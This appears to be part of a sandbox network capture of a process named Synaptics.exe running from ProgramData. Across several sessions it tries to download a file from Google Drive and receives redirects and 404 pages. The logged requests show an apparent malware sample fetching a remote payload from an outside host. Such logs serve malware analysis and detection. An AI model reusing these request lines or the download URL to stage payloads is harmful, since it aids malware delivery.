2025-01-02 19:30:02 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
2025-01-02 19:30:03 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4HC4BzbiNSYs7SCz_pLL2Y8vD4k-tKkJs7JlmH3G4dpsit9TRdPW27Hfl3Dowjkt3n Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:30:03 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-x_tBSapZ8I_qZRaXX4FKww' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:30:03 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:30:03 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 36 34 52 39 51 4c 63 78 37 4a 79 4e 72 39 6f 36 33 66 47 76 54 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="64R9QLcx7JyNr9o63fGvTQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:30:03 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.9	50074	172.217.18.14	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:30:02 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
2025-01-02 19:30:03 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:30:03 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-ZXKRNd_WsyLLQCMY5CvNTQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.9	50083	172.217.18.14	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:30:03 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
2025-01-02 19:30:04 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:30:04 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-4vDz837TE-fyh4Mm9odDXw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.9	50085	216.58.206.65	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:30:03 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
2025-01-02 19:30:04 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7DJkL_1k3p9Jm9qH6m00ifJonYXKMufLFJzyLhGnxw3s0cn8SmP-0OE54o9Lo-j9sw Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:30:04 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-A7lWMEU92VvuEHglevTTKQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:30:04 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:30:04 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 4a 79 67 57 78 66 67 74 41 57 6a 61 30 37 31 66 45 75 49 6b 4c 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="JygWxfgtAWja071fEuIkLw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:30:04 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.9	50086	172.217.18.14	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:30:03 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
2025-01-02 19:30:04 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:30:04 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-Ut-Fk61ssX9qXl9QhNDzTA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.9	50089	216.58.206.65	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:30:04 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
2025-01-02 19:30:04 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6HsKnWIfQvgEru7jQGgM419bNZ9E47e_kTVmr-mH-78XMyxclOxJymO9H7x6EFVgiE Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:30:04 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-k1w-qb6td-dd__bLLo89-A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:30:04 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:30:04 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 78 68 53 58 35 59 41 5f 52 4a 71 46 37 32 4c 56 57 70 79 54 63 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="xhSX5YA_RJqF72LVWpyTcQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:30:04 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.9	50097	172.217.18.14	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:30:04 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
2025-01-02 19:30:05 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:30:05 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-A4RUEqztqqPt27hVztUZ1Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.9	50098	216.58.206.65	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:30:04 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
2025-01-02 19:30:05 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4BwuyeDri6hDV9YS8efASC0S144CcwJ314_3rhW9XjjGcUlOWiftmxM43p3h7n_FJgiadv5f8 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:30:05 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-Uthj4jhh8rAQIfy2DwZ4NQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:30:05 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:30:05 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 4e 71 61 5f 4e 6f 45 72 65 68 76 58 74 44 4b 5a 73 75 44 71 74 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="Nqa_NoErehvXtDKZsuDqtA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
